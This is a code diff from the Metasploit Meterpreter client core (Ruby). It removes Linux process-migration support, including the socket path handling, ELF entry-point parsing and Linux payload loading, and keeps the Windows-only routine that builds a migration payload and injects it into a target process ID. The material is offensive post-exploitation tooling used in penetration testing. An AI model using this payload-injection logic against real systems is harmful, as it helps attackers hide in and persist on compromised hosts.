@@ -34,9 +34,6 @@ module Meterpreter
34
34
###
35
35
class ClientCore < Extension
36
36
37
- UNIX_PATH_MAX = 108
38
- DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
39
-
40
37
TIMEOUT_SESSION = 24 *3600 *7 # 1 week
41
38
TIMEOUT_COMMS = 300 # 5 minutes
42
39
TIMEOUT_RETRY_TOTAL = 60 *60 # 1 hour
@@ -573,46 +570,12 @@ def migrate(target_pid, writable_dir = nil, opts = {})
573
570
raise RuntimeError , 'Cannot migrate into current process' , caller
574
571
end
575
572
576
- if client . platform == 'linux'
577
- if writable_dir . to_s . strip . empty?
578
- writable_dir = tmp_folder
579
- end
580
-
581
- stat_dir = client . fs . filestat . new ( writable_dir )
582
-
583
- unless stat_dir . directory?
584
- raise RuntimeError , "Directory #{ writable_dir } not found" , caller
585
- end
586
- # Rex::Post::FileStat#writable? isn't available
587
- end
588
-
589
573
migrate_stub = generate_migrate_stub ( target_process )
590
574
migrate_payload = generate_migrate_payload ( target_process )
591
575
592
576
# Build the migration request
593
577
request = Packet . create_request ( 'core_migrate' )
594
578
595
- if client . platform == 'linux'
596
- socket_path = File . join ( writable_dir , Rex ::Text . rand_text_alpha_lower ( 5 + rand ( 5 ) ) )
597
-
598
- if socket_path . length > UNIX_PATH_MAX - 1
599
- raise RuntimeError , 'The writable dir is too long' , caller
600
- end
601
-
602
- pos = migrate_payload . index ( DEFAULT_SOCK_PATH )
603
-
604
- if pos . nil?
605
- raise RuntimeError , 'The meterpreter binary is wrong' , caller
606
- end
607
-
608
- migrate_payload [ pos , socket_path . length + 1 ] = socket_path + "\x00 "
609
-
610
- ep = elf_ep ( migrate_payload )
611
- request . add_tlv ( TLV_TYPE_MIGRATE_BASE_ADDR , 0x20040000 )
612
- request . add_tlv ( TLV_TYPE_MIGRATE_ENTRY_POINT , ep )
613
- request . add_tlv ( TLV_TYPE_MIGRATE_SOCKET_PATH , socket_path , false , client . capabilities [ :zlib ] )
614
- end
615
-
616
579
request . add_tlv ( TLV_TYPE_MIGRATE_PID , target_pid )
617
580
request . add_tlv ( TLV_TYPE_MIGRATE_PAYLOAD_LEN , migrate_payload . length )
618
581
request . add_tlv ( TLV_TYPE_MIGRATE_PAYLOAD , migrate_payload , false , client . capabilities [ :zlib ] )
@@ -895,24 +858,7 @@ def transport_prepare_request(method, opts={})
895
858
request . add_tlv ( TLV_TYPE_TRANS_TYPE , transport )
896
859
request . add_tlv ( TLV_TYPE_TRANS_URL , url )
897
860
898
- return request
899
- end
900
-
901
-
902
- #
903
- # Create a full migration payload specific to the target process.
904
- #
905
- def generate_migrate_payload ( target_process )
906
- case client . platform
907
- when 'windows'
908
- blob = generate_migrate_windows_payload ( target_process )
909
- when 'linux'
910
- blob = generate_migrate_linux_payload
911
- else
912
- raise RuntimeError , "Unsupported platform '#{ client . platform } '"
913
- end
914
-
915
- blob
861
+ request
916
862
end
917
863
918
864
#
@@ -938,34 +884,18 @@ def generate_migrate_windows_payload(target_process)
938
884
end
939
885
940
886
#
941
- # Create a full Linux-specific migration payload specific to the target process.
942
- #
943
- def generate_migrate_linux_payload
944
- MetasploitPayloads . read ( 'meterpreter' , 'msflinker_linux_x86.bin' )
945
- end
946
-
947
- #
948
- # Determine the elf entry poitn for the given payload.
949
- #
950
- def elf_ep ( payload )
951
- elf = Rex ::ElfParsey ::Elf . new ( Rex ::ImageSource ::Memory . new ( payload ) )
952
- ep = elf . elf_header . e_entry
953
- return ep
954
- end
955
-
956
- #
957
- # Get the tmp folder for the session.
887
+ # Create a full migration payload specific to the target process.
958
888
#
959
- def tmp_folder
960
- tmp = client . sys . config . getenv ( 'TMPDIR' )
961
-
962
- if tmp . to_s . strip . empty?
963
- tmp = '/tmp'
889
+ def generate_migrate_payload ( target_process )
890
+ case client . platform
891
+ when 'windows'
892
+ blob = generate_migrate_windows_payload ( target_process )
893
+ else
894
+ raise RuntimeError , "Unsupported platform '#{ client . platform } '"
964
895
end
965
896
966
- tmp
897
+ blob
967
898
end
968
-
969
899
end
970
900
971
901
end ; end ; end
0 commit comments